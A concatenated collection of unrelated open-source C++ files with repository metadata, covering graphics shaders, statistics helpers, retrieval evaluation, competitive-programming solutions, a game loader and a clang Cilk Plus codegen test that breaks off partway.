] | permissive | dhtech/fboss | b460865d21f8dd9ea91c7b5bc28f5bce62b58334 | f8c87a0d2855acdcf92e358bc900200cfa1a31bf | refs/heads/dhtech | 2020-03-30T02:17:28.583720 | 2018-10-07T16:10:40 | 2018-10-08T20:11:09 | 150,623,620 | 1 | 0 | NOASSERTION | 2018-10-08T20:14:42 | 2018-09-27T17:26:37 | C++ | UTF-8 | C++ | false | false | 517 | cpp | BcmAclStat.cpp | /*
* Copyright (c) 2004-present, Facebook, Inc.
* All rights reserved.
*
* This source code is licensed under the BSD-style license found in the
* LICENSE file in the root directory of this source tree. An additional grant
* of patent rights can be found in the PATENTS file in the same directory.
*
*/
#include "fboss/agent/hw/bcm/BcmAclStat.h"
namespace facebook { namespace fboss {
BcmAclStat::BcmAclStat(BcmSwitch* hw, int /*gid*/) : hw_(hw) {}
BcmAclStat::~BcmAclStat() {}
}} // facebook::fboss
|
8b1776d903f1c12bd0b6ae75992b1f849dc5a8c1 | 9901c83e118a03b387c8efcccaf9ee7202307bf8 | /include/Teisko/Algorithm/StandardDeviation.hpp | f2e233d32c945dac12dfa375a8339da2c899bf1a | [
"MPL-2.0",
"BSD-3-Clause"
] | permissive | intel/image-quality-and-characterization-utilities | 64d1a586191d1e676ba64de976e1eee7e699821f | be86fe5972bc0e2cfd246de9d5948d5f514dd511 | refs/heads/master | 2023-05-27T14:33:10.118714 | 2023-01-07T00:05:30 | 2023-01-07T00:05:30 | 179,585,412 | 10 | 6 | BSD-3-Clause | 2019-08-12T13:53:34 | 2019-04-04T22:19:48 | C++ | UTF-8 | C++ | false | false | 3,337 | hpp | StandardDeviation.hpp | /*
* Copyright (c) 2019, Intel Corporation
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of the Intel Corporation nor the
* names of its contributors may be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL <COPYRIGHT HOLDER> BE LIABLE FOR ANY
* DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#pragma once
// In alphabetical order
#include <algorithm>
#include <cmath>
#include <cstdint>
#include <functional>
#include <limits>
#include <stdexcept>
#include <vector>
/// \brief This namespace defines the public interfaces of
/// the \ref libcalc_module module
namespace Teisko
{
// Utility class to accumulate variance / standard deviation
// - this is stable enough when mean is close to zero
// - improvement is to accumulate (item - K), where K is close to mean
// or any sample in the set e.g. the first sample
struct std_s
{
double sum = 0;
double sum2 = 0;
size_t n = 0;
std_s() : sum(0), sum2(0), n(0) { }
std_s& operator+=(const double sample)
{
sum += sample;
sum2 += sample * sample;
n++;
return *this;
}
// returns unbiased std (as in matlab), scaling by 1/(n-1) or by 1/n (when false)
double operator() (bool unbiased = true)
{
auto bias = unbiased ? 1.0 : 0.0;
return n < 2
? 0
: std::sqrt((sum2 - (sum*sum) / (double)n) / (n - bias));
}
// Returns average (so far)
double mean() {
return n == 0 ? 0.0 : sum / (double)n;
}
};
/// \brief calculates unbiased (or biased) standard deviation of a vector
/// \param vec Vector to calculate
/// \param unbiased true for matlab compliance (sqrt(sigma/(n-1))), false to calculate sqrt(sigma/n)
/// \returns standard deviation
inline double vector_std(std::vector<double> &vec, bool unbiased = true)
{
std_s variance;
for (auto &x : vec)
variance += x;
return variance(unbiased);
}
}
|
7dcbb7e17c923bc27b57664640ed3f60cffec549 | 244b932604735ad0e00c7bccaf231476b992e4a3 | /quant/OxBuildings/compute_ap.cpp | c837ba5971bca6fd5c59cf2100480af3709b3701 | [] | no_license | rohitgirdhar-cmu-experimental/DiscoverPatches | d9dcc668769030063458ecd688cee20f65ada80a | 6ff8cffc0d5ed4992ce9b0b8c745d81cba6d82e6 | refs/heads/master | 2021-01-18T13:46:07.970229 | 2015-11-18T17:45:05 | 2015-11-18T17:45:05 | 30,480,745 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,637 | cpp | compute_ap.cpp | #include <fstream>
#include <iostream>
#include <set>
#include <string>
#include <vector>
#include <map>
#include <sstream>
using namespace std;
vector<string>
load_list(const string& fname)
{
vector<string> ret;
ifstream fobj(fname.c_str());
if (!fobj.good()) { cerr << "File " << fname << " not found!\n"; exit(-1); }
string line;
while (getline(fobj, line)) {
ret.push_back(line);
}
return ret;
}
template<class T>
set<T> vector_to_set(const vector<T>& vec)
{ return set<T>(vec.begin(), vec.end()); }
float
compute_ap(const set<string>& pos, const set<string>& amb, const vector<string>& ranked_list)
{
float old_recall = 0.0;
float old_precision = 1.0;
float ap = 0.0;
size_t intersect_size = 0;
size_t i = 0;
size_t j = 0;
for ( ; i<ranked_list.size(); ++i) {
if (amb.count(ranked_list[i])) continue;
if (pos.count(ranked_list[i])) intersect_size++;
float recall = intersect_size / (float)pos.size();
float precision = intersect_size / (j + 1.0);
ap += (recall - old_recall)*((old_precision + precision)/2.0);
old_recall = recall;
old_precision = precision;
j++;
}
return ap;
}
float
run_compute_ap(string gtq, const vector<string>& ranked_list, bool ignore_junk_images = true)
{
set<string> good_set = vector_to_set( load_list(gtq + "_good.txt") );
set<string> ok_set = vector_to_set( load_list(gtq + "_ok.txt") );
set<string> junk_set = vector_to_set( load_list(gtq + "_junk.txt") );
if (!ignore_junk_images) {
junk_set.clear();
}
set<string> pos_set;
pos_set.insert(good_set.begin(), good_set.end());
pos_set.insert(ok_set.begin(), ok_set.end());
float ap = compute_ap(pos_set, junk_set, ranked_list);
return ap;
}
std::vector<std::string> &split(const std::string &s, char delim, std::vector<std::string> &elems) {
std::stringstream ss(s);
std::string item;
while (std::getline(ss, item, delim)) {
elems.push_back(item);
}
return elems;
}
std::vector<std::string> split(const std::string &s, char delim) {
std::vector<std::string> elems;
split(s, delim, elems);
return elems;
}
string removeExt(string a) {
// remove the .jpg
return a.substr(0, a.size() - 4);
}
void readOutputs(string fpath, const vector<string>& imgslist, map<string, vector<string>>& outputs) {
ifstream fin(fpath);
string line;
while (getline(fin, line)) {
vector<string> temp = split(line, ' ');
vector<string> matches;
for (int i = 1; i < temp.size(); i++) {
vector<string> match = split(temp[i], ':');
if (stoi(match[0]) == -1) {
// this is the mysterious extra image in OxBuildings
continue;
}
matches.push_back(removeExt(imgslist[stoi(match[0]) - 1]));
}
outputs[removeExt(imgslist[stoi(temp[0]) / 10000 - 1])] = matches;
}
fin.close();
}
int main(int argc, char* argv[]) {
string gtdir = string(argv[1]);
string qlistfpath = string(argv[2]);
string outfile = string(argv[3]);
vector<string> imgslist = load_list(argv[4]);
bool ignore_junk_images = true;
if (argc > 5) {
if (argv[5][0] == '1') {
cout << "NOt Ignoring junk" << endl;
ignore_junk_images = false;
}
}
map<string, vector<string>> outputs;
readOutputs(outfile, imgslist, outputs);
ifstream fin(qlistfpath.c_str());
string qpath, temp;
int qid, n = 0;
float map = 0;
while (fin >> qpath >> temp >> qid) {
string gtq = gtdir + "/" + qpath;
float ap = run_compute_ap(gtq, outputs[temp], ignore_junk_images);
map += ap;
n += 1;
}
cout << "mAP : " << map / n << endl;
fin.close();
return 0;
}
|
f1f28c703f7f4422b44eaacd4dd1796c1bfda31a | 9c7e3b76a2f64ad2bc1dad15a6cc7c11d0df2faa | /src/Math/LinearAlgebra/old/Printable.hpp | a6c3179ad7bc30899d9636f98b7f412ce9f3b231 | [] | no_license | jmnel/ArcMath | 2b447e7729ee22237fdb9e0824b05184b8a28f15 | 0c25c2e5415fe9b50c8e41709b00623c0ea2c4b6 | refs/heads/master | 2020-08-01T20:13:08.240315 | 2019-10-07T10:50:45 | 2019-10-07T10:50:45 | 211,101,425 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,597 | hpp | Printable.hpp | #include <type_traits>
#pragma once
#include <iostream>
#include <sstream>
#include <string>
#include "Common.hpp"
#include "Traits.hpp"
using std::endl;
namespace jmnel::matrix::detail {
template <typename Derived>
class Printable {
private:
public:
std::string toString() const {
std::stringstream ss;
if constexpr( traits<Derived>::dimension == MatrixDimension::One ) {
static constexpr size_t size = traits<Derived>::size;
ss << "( " << static_cast<Derived const *>( this )->coeffs( 0 );
for( size_t i = 1; i < size; ++i ) {
ss << ", " << static_cast<Derived const *>( this )->coeffs( i );
}
ss << " )";
} else {
static constexpr size_t rows = traits<Derived>::rows;
static constexpr size_t cols = traits<Derived>::cols;
for( size_t i = 0; i < rows; ++i ) {
ss << "( " << static_cast<Derived const *>( this )->coeffs( i, 0 );
for( size_t j = 1; j < cols; ++j ) {
ss << ", " << static_cast<Derived const *>( this )->coeffs( i, j );
}
ss << " )";
ss << endl;
}
}
return ss.str();
}
};
template <typename Derived>
std::ostream &operator<<( std::ostream &os, Printable<Derived> const &printable ) {
os << printable.toString();
return os;
}
} // namespace jmnel::matrix::detail
|
d50bfff2bc15bfa3d1fd8cda00eae37909a1d33d | 79c3e31bc9aaa453c65a26c1649886569a0659cc | /src/PostTreatment/Bloom.cpp | 0b04885a52f7c5ffa0120a975d92fcf1c479c41f | [] | no_license | piellardj/post-treatment-gpu | 9cef6890d5fc034885e5a1ad571a983ecaf33c8f | 705886f3d7d1b1300812f5f1413e40eead244976 | refs/heads/master | 2021-01-12T11:07:28.909709 | 2016-11-28T19:07:16 | 2016-11-28T19:07:16 | 72,833,016 | 10 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,149 | cpp | Bloom.cpp | #include "PostTreatment/Bloom.hpp"
#include <SFML/Graphics/Sprite.hpp>
#include <SFML/Graphics/RectangleShape.hpp>
#include <cmath>
#include <stdexcept>
#include <sstream>
/* sizeFactor: defines if the image should be shrinked, blurred, then upscaled */
Bloom::Bloom (sf::Vector2u bufferSize, float threshold, float force):
_threshold (threshold),
_force (force),
_blur (bufferSize, 10, 2),
_brightPartsExtractor(_threshold)
{
if (!_lightParts.create (bufferSize.x, bufferSize.y)) {
throw std::runtime_error("Error: Bloom, buffer creation failed");
}
if (!_blurred.create (bufferSize.x, bufferSize.y)) {
throw std::runtime_error("Error: Bloom, buffer creation failed");
}
std::string tab(" ");
std::stringstream fragment;
fragment << "#version 130" << std::endl << std::endl << std::endl
<< "uniform sampler2D clearTexture;" << std::endl
<< "uniform sampler2D blurredLightsTexture;" << std::endl
<< "uniform vec2 inputSize;" << std::endl
<< "uniform float force;" << std::endl << std::endl
<< "out vec4 fragColor;" << std::endl << std::endl << std::endl
<< "void main()" << std::endl
<< "{" << std::endl
<< tab << "vec2 texCoord = gl_FragCoord.xy / inputSize;" << std::endl
<< tab << "vec4 clear = texture(clearTexture, texCoord);" << std::endl << std::endl
<< tab << "vec4 blurred = texture(blurredLightsTexture, texCoord);" << std::endl
<< tab << "fragColor = clear + force * blurred;" << std::endl
<< "}";
std::string fragmentShader = fragment.str();
/* Load shader */
if (!_shader.loadFromMemory(fragmentShader, sf::Shader::Fragment))
throw std::runtime_error("unable to load bloom fragment shader\n" + fragmentShader);
_renderStates.shader = &_shader;
_renderStates.blendMode = sf::BlendNone;
}
float Bloom::getThreshold() const
{
return _threshold;
}
void Bloom::setThreshold(float threshold)
{
_threshold = threshold;
_brightPartsExtractor.setThreshold(threshold);
}
float Bloom::getForce() const
{
return _force;
}
void Bloom::setForce(float force)
{
_force = force;
}
/* Returns true if successfull, false otherwise. */
void Bloom::applyTreatment (sf::Texture const& inputTexture,
sf::RenderTarget& target)
{
/* First we extract the bright parts */
_brightPartsExtractor.applyTreatment(inputTexture, _lightParts);
_lightParts.display();
/* Then blur then */
_blur.applyTreatment(_lightParts.getTexture(), _blurred);
_blurred.display();
/* Finally we render the input texture + the blurred bright parts */
sf::Vector2f texSize(target.getSize().x, target.getSize().y);
_shader.setParameter("clearTexture", inputTexture);
_shader.setParameter("blurredLightsTexture", _blurred.getTexture());
_shader.setParameter("inputSize", texSize);
_shader.setParameter("force", _force);
sf::RectangleShape square(texSize);
target.draw (square, _renderStates);
}
|
8c384388a813d32acff5c591c90aeb9804512eb1 | c208689db533cb1f30b9ffd767be24583c59f80f | /viewer/plugins/glowing/glowing.cpp | 4642682a14aab34d00b7cf4464c2c96f749e8c31 | [] | no_license | elCrespo16/g | 92b4553bd05d2989f9becaf37457071ad0b8d594 | cfa0467cb58ba673852cf6f41a81f1168dd6183a | refs/heads/master | 2023-02-04T18:08:31.507231 | 2020-12-14T17:46:53 | 2020-12-14T17:46:53 | 299,537,183 | 3 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 4,098 | cpp | glowing.cpp | // GLarena, a plugin based platform to teach OpenGL programming
// ยฉ Copyright 2012-2018, ViRVIG Research Group, UPC, https://www.virvig.eu
//
// This file is part of GLarena
//
// GLarena is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
#include "glowing.h"
#include <QCoreApplication>
const int IMAGE_WIDTH = 1024;
const int IMAGE_HEIGHT = IMAGE_WIDTH;
void Glowing::onPluginLoad()
{
GLWidget & g = *glwidget();
g.makeCurrent();
// Carregar shader, compile & link
vs = new QOpenGLShader(QOpenGLShader::Vertex, this);
vs->compileSourceFile(g.getPluginPath()+"/../glowing/glowing.vert");
fs = new QOpenGLShader(QOpenGLShader::Fragment, this);
fs->compileSourceFile(g.getPluginPath()+"/../glowing/glowing.frag");
program = new QOpenGLShaderProgram(this);
program->addShader(vs);
program->addShader(fs);
program->link();
// Setup texture
g.glActiveTexture(GL_TEXTURE0);
g.glGenTextures( 1, &textureId);
g.glBindTexture(GL_TEXTURE_2D, textureId);
g.glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE);
g.glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE);
g.glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER,
GL_LINEAR_MIPMAP_LINEAR );
g.glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR );
g.glTexImage2D(GL_TEXTURE_2D, 0, GL_RGB, IMAGE_WIDTH, IMAGE_HEIGHT,
0, GL_RGB, GL_FLOAT, NULL);
g.glBindTexture(GL_TEXTURE_2D, 0);
// Resize to power-of-two viewport
g.resize(IMAGE_WIDTH,IMAGE_HEIGHT);
}
void drawRect(GLWidget &g)
{
static bool created = false;
static GLuint VAO_rect;
// 1. Create VBO Buffers
if (!created)
{
created = true;
// Create & bind empty VAO
g.glGenVertexArrays(1, &VAO_rect);
g.glBindVertexArray(VAO_rect);
// Create VBO with (x,y,z) coordinates
float coords[] = { -1, -1, 0,
1, -1, 0,
-1, 1, 0,
1, 1, 0};
GLuint VBO_coords;
g.glGenBuffers(1, &VBO_coords);
g.glBindBuffer(GL_ARRAY_BUFFER, VBO_coords);
g.glBufferData(GL_ARRAY_BUFFER, sizeof(coords), coords, GL_STATIC_DRAW);
g.glVertexAttribPointer(0, 3, GL_FLOAT, GL_FALSE, 0, 0);
g.glEnableVertexAttribArray(0);
g.glBindVertexArray(0);
}
// 2. Draw
g.glBindVertexArray (VAO_rect);
g.glDrawArrays(GL_TRIANGLE_STRIP, 0, 4);
g.glBindVertexArray(0);
}
bool Glowing::paintGL()
{
GLWidget & g = *glwidget();
// Pass 1. Draw scene
g.glClearColor(0,0,0,0);
g.glClear(GL_DEPTH_BUFFER_BIT | GL_COLOR_BUFFER_BIT);
if (drawPlugin()) drawPlugin()->drawScene();
// Get texture
g.glBindTexture(GL_TEXTURE_2D, textureId);
g.glCopyTexSubImage2D(GL_TEXTURE_2D, 0, 0, 0, 0, 0,
IMAGE_WIDTH, IMAGE_HEIGHT);
g.glGenerateMipmap(GL_TEXTURE_2D);
// Pass 2. Draw quad using texture
g.glClear(GL_DEPTH_BUFFER_BIT | GL_COLOR_BUFFER_BIT);
program->bind();
program->setUniformValue("colorMap", 0);
program->setUniformValue("SIZE", float(IMAGE_WIDTH));
// quad covering viewport
program->setUniformValue("modelViewProjectionMatrix", QMatrix4x4() );
drawRect(g);
g.defaultProgram()->bind();
g.glBindTexture(GL_TEXTURE_2D, 0);
return true;
}
|
1492e23d4bc02ce5e5ecf8c1181141507fae0349 | 1a390314e2dc92575dbf2541e2990bf1269b06e6 | /Baekjoon/1477.cpp | db8207af786b50f1f8ea9fe3ee421f73e211dd85 | [
"MIT"
] | permissive | Twinparadox/AlgorithmProblem | c27ca6b48cdaf256ef25bc7b2fd6c233b2da4df1 | 0190d17555306600cfd439ad5d02a77e663c9a4e | refs/heads/master | 2021-01-11T06:33:47.760303 | 2020-11-08T00:43:24 | 2020-11-08T00:43:24 | 69,226,206 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 636 | cpp | 1477.cpp | #include <algorithm>
#include <iostream>
#include <vector>
using namespace std;
int main(void)
{
cin.tie(0);
ios_base::sync_with_stdio(false);
int N, M, L;
cin >> N >> M >> L;
vector<int> arr(N + 2);
arr[0] = 0, arr[N + 1] = L;
for (int i = 1; i <= N; i++)
cin >> arr[i];
sort(arr.begin(), arr.end());
int right = L, left = 0, ans = L;
while (left <= right)
{
int mid = (left + right) / 2;
int cnt = 0;
int size = arr.size();
for (int i = 1; i < size; i++)
cnt += (arr[i] - arr[i - 1] - 1) / mid;
if (cnt > M)
left = mid + 1;
else
{
ans = min(ans, mid);
right = mid - 1;
}
}
cout << ans;
} |
382ceefcd8648363e528de1da853ae625cce17c6 | e1522f45a46820f6ddbfcc699379821e7eb660af | /codeforces.com/Codeforces Ladder 1600-1699/0344A.cpp | df552ec5e24e859b52abf5d1ccd38a49b0f84832 | [] | no_license | dmkz/competitive-programming | 1b8afa76eefbdfd9d5766d5347e99b1bfc50761b | 8d02a5db78301cf34f5fdffd3fdf399c062961cb | refs/heads/master | 2023-08-21T00:09:21.754596 | 2023-08-13T13:21:48 | 2023-08-13T13:21:48 | 130,999,150 | 21 | 12 | null | 2023-02-16T17:43:53 | 2018-04-25T11:54:48 | C++ | UTF-8 | C++ | false | false | 520 | cpp | 0344A.cpp | /*
Problem: 344A. Magnets
Solution: strings, implementation, O(n)
Author: Dmitry Kozyrev, github: dmkz, e-mail: dmkozyrev@rambler.ru
*/
#include <iostream>
#include <string>
int main() {
int n;
while (std::cin >> n) {
int answ = 0;
std::string group = "";
while (n--) {
std::string s; std::cin >> s;
if (group.empty() || group.back() == s.front()) {
group = s;
++answ;
} else {
group.insert(group.end(), s.begin(), s.end());
}
}
std::cout << answ << std::endl;
}
return 0;
} |
0991a0e0b20fd362e54a38bcef45581ffc6c65cc | 21b9c1a8c4dd39a3dc35f4e68cf2ae88ec91ee81 | /miplib/gurobi/var.hpp | 64979fd3f7a1fc34f0934a249a383e7707899710 | [
"Apache-2.0"
] | permissive | vaporyorg/miplib | 68c40a1a8765f793fc6e0add273a64860b47b6f6 | be1f628111dd624ae23c1de8298f6b18a564d7ed | refs/heads/main | 2023-05-08T13:05:48.526240 | 2021-05-25T10:09:07 | 2021-05-25T10:09:07 | 371,079,319 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 587 | hpp | var.hpp | #pragma once
#include <miplib/gurobi/solver.hpp>
#include <miplib/var.hpp>
namespace miplib {
struct GurobiVar : detail::IVar
{
GurobiVar(Solver const& solver, GRBVar const& v);
void update_solver_if_pending() const;
double value() const;
Var::Type type() const;
std::optional<std::string> name() const;
void set_name(std::string const& new_name);
Solver const& solver() const { return m_solver; }
double lb() const;
double ub() const;
void set_lb(double new_lb);
void set_ub(double new_ub);
Solver m_solver;
GRBVar m_var;
};
} // namespace miplib
|
493cdb1b362db8d33c55ef6af487cd285280e900 | 09ddd2df75bce4df9e413d3c8fdfddb7c69032b4 | /include/LXML/DOMLocator.h | 28bf8cce38a15ea8a5b261c80c7d5e4ca2fdb1c8 | [] | no_license | sigurdle/FirstProject2 | be22e4824da8cd2cb5047762478050a04a4ac63b | dee78c62a1b95e55fcdf3bf2a9bc79c69705bf94 | refs/heads/master | 2021-01-16T18:45:41.042140 | 2020-08-18T16:57:13 | 2020-08-18T16:57:13 | 3,554,336 | 6 | 5 | null | null | null | null | UTF-8 | C++ | false | false | 735 | h | DOMLocator.h | #ifndef __DOMLOCATOR_H__
#define __DOMLOCATOR_H__
namespace System
{
namespace Web
{
class DOMLocator :
public Object,
public IDOMLocator
{
public:
CTOR DOMLocator()
{
m_columnNumber = -1;
m_lineNumber = -1;
m_offset = -1;
m_uri = nullptr;
}
// STDMETHOD(setOffset)(/*[in]*/ long newVal);
long get_offset();
// STDMETHOD(setLineColumn)(/*[in]*/ long lineNumber, /*[in]*/ long columnNumber);
Node* getNode();
// STDMETHOD(getSystemID)(/*[out,retval]*/ BSTR* pVal);
// STDMETHOD(getPublicID)(/*[out,retval]*/ BSTR* pVal);
int get_lineNumber();
int get_columnNumber();
String get_uri() const
{
return m_uri;
}
public:
String m_uri;
int m_offset;
int m_columnNumber;
int m_lineNumber;
};
} // w3c
}
#endif
|
5496ac24c22d6fe2388e94a04616c20b5f3c0457 | aa152fafb78fc4cf39ebe808a1c5a791585d690b | /Week_03/46.ๅ
จๆๅ.cpp | 80f39bfde691945a9552d4fe8594144af056232b | [] | no_license | wjl-simon/algorithm021 | 697542700382ea75c1424d3455da7207b2989a6f | b9ab3bb2b194a8f0444325a103a56d6a86c5786a | refs/heads/main | 2023-02-25T18:59:48.213747 | 2021-01-24T15:36:10 | 2021-01-24T15:36:10 | 318,683,115 | 0 | 0 | null | 2020-12-05T02:21:57 | 2020-12-05T02:21:57 | null | UTF-8 | C++ | false | false | 582 | cpp | 46.ๅ
จๆๅ.cpp | /*
* @lc app=leetcode.cn id=46 lang=cpp
*
* [46] ๅ
จๆๅ
*/
// @lc code=start
class Solution {
vector<vector<int>> ans;
void helper(int cur, vector<int>& a){
if(cur == a.size()){
ans.push_back(a);
return;
}
int const LEN = a.size();
for(int i = cur; i < LEN; ++i){
swap(a[i], a[cur]);
helper(cur + 1, a);
swap(a[i], a[cur]);
}
}
public:
vector<vector<int>> permute(vector<int>& nums) {
helper(0, nums);
return ans;
}
};
// @lc code=end
|
ef3112f86a287de1691f2c2946b7f6b2e009d4c2 | 0a96045a7a2a3a04ac7bd217967a56f39da868bf | /WikiAdventure/Source/Project/GameObject.cpp | 5d294152d9096ea5fbf8c87a47fcfa2b34cd0df9 | [
"LicenseRef-scancode-public-domain"
] | permissive | Happy-Ferret/WikiAdventure | 532b4687884c4029be30aef88e4d3ae53843ae3f | 54fc76583f0779352d876038b5f1fb1dd67b82d0 | refs/heads/master | 2020-05-22T03:24:31.444239 | 2012-06-06T21:40:17 | 2012-06-06T21:40:17 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,485 | cpp | GameObject.cpp |
#include "GameObject.h"
#include <assert.h>
CGameObject::CGameObject()
{
DebugInfo( TypeCreate, "Creating game." );
m_pImageHandler = 0;
m_pFontHandler = 0;
m_pLocationHandler = 0;
}
CGameObject::~CGameObject()
{
DebugInfo( TypeDelete, "Unloading game, clearing allocated resources." );
if ( m_pLocationHandler != 0 )
delete m_pLocationHandler;
m_pLocationHandler = 0;
if ( m_pFontHandler != 0 )
delete m_pFontHandler;
m_pFontHandler = 0;
if ( m_pImageHandler != 0 )
delete m_pImageHandler;
m_pImageHandler = 0;
}
void CGameObject::LoadContents( CWikiContent& rRawContents, const string& sGamePage )
{
m_sWikiSubpage = sGamePage;
m_sAuthors = ReplaceInText( rRawContents.GetParameter( "Author: " ), "<br>", "\n" );
m_sAgeRating = ReplaceInText( rRawContents.GetParameter( "Age Rating: " ), "<br>", "\n" );
m_sStartLocation = rRawContents.GetParameter( "StartLocation: " );
DebugInfo( TypeInfo, "Parsing game images data" );
string sRawImageText = CWikiContent( rRawContents.GetTagText(), "Images" ).GetTagText();
m_pImageHandler = new CImageHandler;
m_pImageHandler->LoadContents( sRawImageText );
DebugInfo( TypeInfo, "Parsing game fonts data" );
string sRawFontText = CWikiContent( rRawContents.GetTagText(), "Fonts" ).GetTagText();
m_pFontHandler = new CFileHandler;
m_pFontHandler->LoadContents( sRawFontText );
DebugInfo( TypeInfo, "Parsing game locations data" );
string sRawLocationText = CWikiContent( rRawContents.GetTagText(), "Locations" ).GetTagText();
m_pLocationHandler = new CLocationHandler;
m_pLocationHandler->LoadContents( sRawLocationText, sGamePage );
}
void CGameObject::ShowLocations()
{
//cout << "Showing game locations: " << endl;
//cout << "FUNCTION DISABLED!" << endl;
/*
map<string, CLocationObject*>::iterator iter = m_mpLocations.begin();
while ( iter != m_mpLocations.end() )
{
cout << "Location ID: " << iter->first << endl;
++iter;
}
*/
}
stLoadStatus CGameObject::LoadNext()
{
stLoadStatus stReturn;
if ( m_pImageHandler->GetLoadFinished() == false ) {
return m_pImageHandler->LoadNext();
}
if ( m_pFontHandler->GetLoadFinished() == false ) {
stReturn = m_pFontHandler->LoadNext();
stReturn.eObjectLoaded = FontLoaded; // Set special file format
return stReturn;
}
if ( m_pLocationHandler->GetLoadFinished() == false ) {
return m_pLocationHandler->LoadNext();
}
//IBaseLoadObject* pCurrentLocation = m_pLocationHandler->GetLastLoadedLocation();
// If all the locations are loaded
if ( m_pLocationHandler->GetLoadFinished() == true )
{
m_bLoadFinished = true;
/*
if ( m_pLocationList != 0 ) {
delete m_pLocationList;
m_pLocationList = 0;
}
*/
stReturn.eObjectLoaded = GameLoaded;
stReturn.sStatus = "Finished";
stReturn.iNumberLoaded = 1;
stReturn.iTotalCount = 1;
return stReturn;
}
/*
// If a location is not loaded OR if a location is loaded, but has finished - then load the next location
else if ( pCurrentLocation == 0 || (pCurrentLocation != 0 && pCurrentLocation->GetLoadFinished() == true) )
{
cout << "Loading a next location." << endl;
return m_pLocationHandler->LoadNext();
}
// If a location is loaded, but hasn't finished - then have the location load the next stuff
else
{
cout << "Updating the loaded location." << endl;
return pCurrentLocation->LoadNext();
}
// We should NEVER get here!
assert( 0 && "Error loading the locations!" );
*/
// We should NEVER get here!
return stReturn;
}
|
51878aeb44fcf57f891d1af8c7630103712510e7 | 692078004842e951f1fa49208ed256a132687dd3 | /test/CodeGenCXX/cilkplus-exceptions.cpp | 5d4b7c8a2deaa2f312f9c14a7103d9c801cc68bb | [
"NCSA"
] | permissive | project-asap/swan_clang | e5adbaa3911e4e9e5dc1c103a08e4b7594f2abff | cfef81e856533eb791f04d0c89a56796a02aa86e | refs/heads/devel | 2020-12-11T03:28:27.214328 | 2016-02-08T15:32:35 | 2016-02-08T15:32:35 | 56,128,933 | 0 | 0 | null | 2016-04-13T07:03:32 | 2016-04-13T07:03:32 | null | UTF-8 | C++ | false | false | 12,167 | cpp | cilkplus-exceptions.cpp | // RUN: %clang_cc1 -std=c++11 -fcxx-exceptions -fexceptions -fcilkplus -emit-llvm %s -o %t
// RUN: FileCheck -check-prefix=CHECK_PARENT --input-file=%t %s
// RUN: FileCheck -check-prefix=CHECK_HELPER_F1 --input-file=%t %s
// RUN: FileCheck -check-prefix=CHECK_HELPER_F2 --input-file=%t %s
// RUN: %clang_cc1 -disable-llvm-optzns -std=c++11 -fcxx-exceptions -fexceptions -fcilkplus -emit-llvm %s -o %t-noopt
// RUN: FileCheck -check-prefix=CHECK_IMPLICIT_SYNC --input-file=%t-noopt %s
// RUN: FileCheck -check-prefix=CHECK_SYNC_JUMP --input-file=%t-noopt %s
// RUN: FileCheck -check-prefix=CHECK_MISC_IMP_SYNC --input-file=%t-noopt %s
// RUN: FileCheck -check-prefix=CHECK_INIT --input-file=%t-noopt %s
//
namespace stack_frame_cleanup {
extern void touch();
struct C {
C() { touch(); }
~C(){ touch(); }
};
template <typename T> void f1(T);
template <typename T> T f2(T);
template <typename T, int x>
void test_f1() {
_Cilk_spawn f1(T());
}
template <typename T, int x>
void test_f2(T &ret) {
ret = _Cilk_spawn f2(T());
}
void parent_stack_frame_test() {
test_f1<int, 23>();
// CHECK_PARENT: define {{.*}} @_ZN19stack_frame_cleanup7test_f1IiLi23EEEvv
// CHECK_PARENT: alloca %__cilkrts_stack_frame
// CHECK_PARENT-NEXT: call void @__cilk_parent_prologue
// CHECK_PARENT: invoke void @__cilk_spawn_helper
//
// * Normal exit *
//
// CHECK_PARENT: call void @__cilk_parent_epilogue
// CHECK_PARENT-NEXT: ret void
//
// * Exit due to exception *
//
// CHECK_PARENT: call void @__cilk_parent_epilogue
// CHECK_PARENT-NEXT: br label
}
void helper_stack_frame_test() {
test_f1<C, 29>();
